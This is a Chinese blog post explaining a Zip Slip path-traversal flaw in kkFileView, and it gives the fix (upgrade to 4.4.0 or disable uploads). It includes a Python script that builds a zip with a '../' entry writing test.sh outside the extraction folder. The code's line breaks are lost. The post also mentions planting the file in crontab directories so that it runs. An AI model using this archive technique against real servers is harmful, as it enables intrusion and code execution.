当前位置: 首页 > news >正文

kkfileview文件上传安全漏洞原理分析及解决方案

现象

预览文件时跳转到了其他地方,进入kkfileview容器内,发现里面被上传很多未知的html文件,kkfileview的页面被篡改。

原理

Zip Slip漏洞

Zip Slip是一种常见的目录遍历漏洞,主要影响处理ZIP压缩文件的应用程序。这种漏洞在2018年由Snyk安全团队首次公开披露。
Zip Slip漏洞发生在当应用程序解压ZIP文件时,没有正确验证压缩包内文件的路径。攻击者可以构造一个恶意ZIP文件,其中包含使用"…/"序列的相对路径,导致文件被解压到预期目录之外的位置。

生成一个恶意的zip文件

可以使用以下的python代码生成一个恶意的zip文件

import zipfile
import osdef create_zip_slip_malicious_zip(output_filename="malicious.zip"):"""创建一个包含Zip Slip漏洞利用的恶意zip文件解压后会在相对路径../../../../../下创建test.sh文件"""# 确保输出目录存在os.makedirs(os.path.dirname(output_filename) or ".", exist_ok=True)with zipfile.ZipFile(output_filename, 'w', zipfile.ZIP_DEFLATED) as zipf:# 创建一个恶意路径条目 - 使用相对路径遍历malicious_path = "../../../../../../test.sh"# 添加文件内容到zip中zipf.writestr(malicious_path, "#!/bin/bash\necho 'This is a malicious script!'\n")print(f"恶意zip文件已创建: {output_filename}")print(f"当受害者解压此文件时,test.sh会被写入到../../../../../../目录下")if __name__ == "__main__":create_zip_slip_malicious_zip()
  1. 运行此脚本将生成一个名为"malicious.zip"的文件
  2. 当受害者使用不安全的解压程序处理此zip文件时
  3. test.sh文件会被写入到相对路径…/…/…/…/…/…/下

执行zip中的恶意脚本

这里就是利用了Zip Slip漏洞,上传了一个恶意的zip文件,然后使用预览功能预览这个zip文件,预览时kkfileview解压了该zip文件,导致恶意脚本test.sh被写入了服务器某个目录。
当然如果只是给服务器上传了一个test.sh文件肯定还不够,还得执行它,这里可以上传到crontab的配置文件夹下,间接配置一个定时任务,让系统自动调度执行它,也可以上传到其他地方覆盖某些系统自带的关键脚本。当然具体实现方法就不探讨了,这里只是为了告知攻击原理,便于防范,并不是攻击教程。如果恶意攻击,会触犯《中华人民共和国刑法》

  • 第285条(非法侵入计算机信息系统罪)
  • 第286条(破坏计算机信息系统罪)

基础情节 3年以下有期徒刑或拘役,严重情节 3-7年有期徒刑

解决方案

目前kkfileview的最新版本4.4.0已经修复了该漏洞,升级版本即可,如果是老版本也可以增加配置file.upload.disable=true,用于屏蔽文件上传功能。
可以的话建议docker部署,我们公司因为docker部署的,所以虽然被黑了但是只是影响了kkfileview容器,没有进一步黑到物理机上,如果在物理机上执行任意脚本后果就比较严重了

相关文章:

  • 在Linux中安装JDK并且搭建Java环境
  • 如何禁止chrome自动更新
  • 免布线视频桩如何重塑停车管理模式
  • 基于STM32、HAL库的RN8209C电能计量芯片驱动程序设计
  • Android Studio 中 build、assemble、assembleDebug 和 assembleRelease 构建 aar 的区别
  • 码蹄集——人民币大写数字、全部整除、隐晦余8
  • node版本.node版本、npm版本和pnpm版本对应
  • Spring Boot异步任务失效的8大原因及解决方案
  • (自用)Java学习-5.12(Redis,B2C电商)
  • OpenCV图像金字塔详解:原理、实现与应用
  • 谷歌Gemini生图升级:与GPT-4o的对决,谁更胜一筹?
  • LGDRL:基于大型语言模型的深度强化学习在自动驾驶决策中的应用
  • 视觉-语言-动作模型:概念、进展、应用与挑战(下)
  • 互联网大厂Java求职面试:优惠券服务架构设计与AI增强实践-1
  • 【面试真题】王者荣耀亿级排行榜,如何设计?
  • 重学安卓14/15自由窗口freeform企业实战bug-学员作业
  • 关于groom毛发attributes
  • 2094. 找出 3 位偶数
  • Docker编排工具详解:Docker Compose与Docker Swarm
  • 前端面试高频50个问题,解答
  • 对话郑永年:我们谈判也是为世界争公义
  • 退休10年后,70岁成都高新区管委会原巡视员王晋成被查
  • 港股持续拉升:恒生科技指数盘中涨幅扩大至6%,恒生指数涨3.3%
  • 我国7名优秀护理工作者荣获第50届南丁格尔奖
  • “应急侠”上线,应急管理部正式发布应急科普IP形象
  • 中美经贸高层会谈在日内瓦结束,中国代表团将举行发布会